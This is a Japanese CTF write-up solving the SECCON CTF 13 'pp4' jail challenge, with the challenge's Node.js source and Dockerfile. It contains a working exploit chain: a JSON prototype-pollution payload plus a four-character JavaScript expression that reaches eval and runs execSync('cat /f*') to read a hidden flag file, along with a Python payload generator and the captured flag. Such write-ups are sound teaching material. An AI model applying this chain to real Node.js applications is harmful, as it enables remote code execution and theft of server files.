[jail] pp4 (SECCON CTF 13 Quals) writeup

---

- Source: SECCON CTF 13 Quals
- Author: [Ark](https://x.com/arkark_)

---

ncで接続できるサーバーが提示される。ソースコードを見てみる。

<details><summary>index.js</summary>

```js
#!/usr/local/bin/node
const readline = require("node:readline/promises");
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

const clone = (target, result = {}) => {
  for (const [key, value] of Object.entries(target)) {
    if (value && typeof value == "object") {
      if (!(key in result)) result[key] = {};
      clone(value, result[key]);
    } else {
      result[key] = value;
    }
  }
  return result;
};

(async () => {
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
})().finally(() => rl.close());
```

</details>

Dockerfileを見る限り、flagのあるファイル名は分からない。

<details><summary>Dockerfile</summary>

```dockerfile
FROM node:22.9.0-slim AS base
WORKDIR /app

COPY flag.txt .
RUN mv flag.txt /flag-$(md5sum flag.txt | cut -c-32).txt
COPY --chmod=555 index.js run


FROM pwn.red/jail
COPY --from=base / /srv
ENV JAIL_TIME=30 JAIL_MEM=50M JAIL_CPU=100 JAIL_PIDS=10
```

</details>

要するに、任意のprototype pollution payloadを投げた後、4種類の文字だけでflagを読み取るという問題。

```js
  // Step 1: Prototype Pollution
  const json = (await rl.question("Input JSON: ")).trim();
  console.log(clone(JSON.parse(json)));

  // Step 2: JSF**k with 4 characters
  const code = (await rl.question("Input code: ")).trim();
  if (new Set(code).size > 4) {
    console.log("Too many :(");
    return;
  }
  console.log(eval(code));
```

この問題であれば、関数の実行で`(`,`)`を使うことを考えると残り2文字は`[`,`]`でどうにかなりそう。

protorype pollutionはobjectのprototypeを（意図されていないものに）操作するもので、例えばこのコードでは`Object.hoge`の値を操作している。
```js
Object.prototype['hoge'] = 1
let obj = {}
console.log(obj.hoge) // 1
```

そして、`constructor`を使えば`[]`から`function`を取り出すことができ、`function`の中に任意のコードを書いて実行することができる。さらに`return eval`でeval関数を呼び出し、文字列をjavascriptのコードとして実行することもできる。
```js
console.log([].constructor) // [Function: Array]
console.log([].constructor.constructor) // [Function: Function]
console.log([].constructor.constructor(console.log("hoge"))) // hoge
console.log([].constructor.constructor("return eval")()) // [Function: eval]
console.log([].constructor.constructor("return eval")()("console.log(\"fuga\")")) // fuga
```

この問題では`cat /f*`を実行して値を返したいので、最終的にこのコードを実行することを目標とする。
```js
process.mainModule.require("child_process").execSync("cat /f*").toString()
```

ここで、javascriptは`[]`を空文字列としても解釈する。すなわち、`[][[]]`は`[][""]`と等しい。これを用いればパズルの要領で`[]`からflag読み出しのコードまで繋げることができる。

まず、難読化前のpayloadはこうなる。
```js
[]["constructor"]["constructor"]("return eval")()("process.mainModule.require('child_process').execSync('cat /f*').toString()")
```

このpayloadを4種の文字で書けるように`Object`のprototypeを操作する。ただし、`Object.constructor`は元から`Object`に存在するため上書きできない。よって一番末尾に置く。
```json
{
  "__proto__": {
    "process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
    "return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
    "": "return eval"
  }
}
```

pythonにpayloadを生成してもらう。
```py
import json

json_payload = json.dumps({
  "__proto__": {
    "process.mainModule.require('child_process').execSync('cat /f*').toString()": "constructor",
    "return eval": "process.mainModule.require('child_process').execSync('cat /f*').toString()",
    "": "return eval"
  }
})
print(json_payload)

ret_eval = "[][[]]"
cmd = "[][[][[]]]"
constructor = "[][[][[][[]]]]"

js_payload = f"[][{constructor}][{constructor}]({ret_eval})()({cmd})"
print(js_payload)
```

最終的なpayloadはこうなる。
```js
[][[][[][[][[]]]]][[][[][[][[]]]]]([][[]])()([][[][[]]])
```

このjsonとjavascript(?)を投げるとflagが得られた。
`SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}`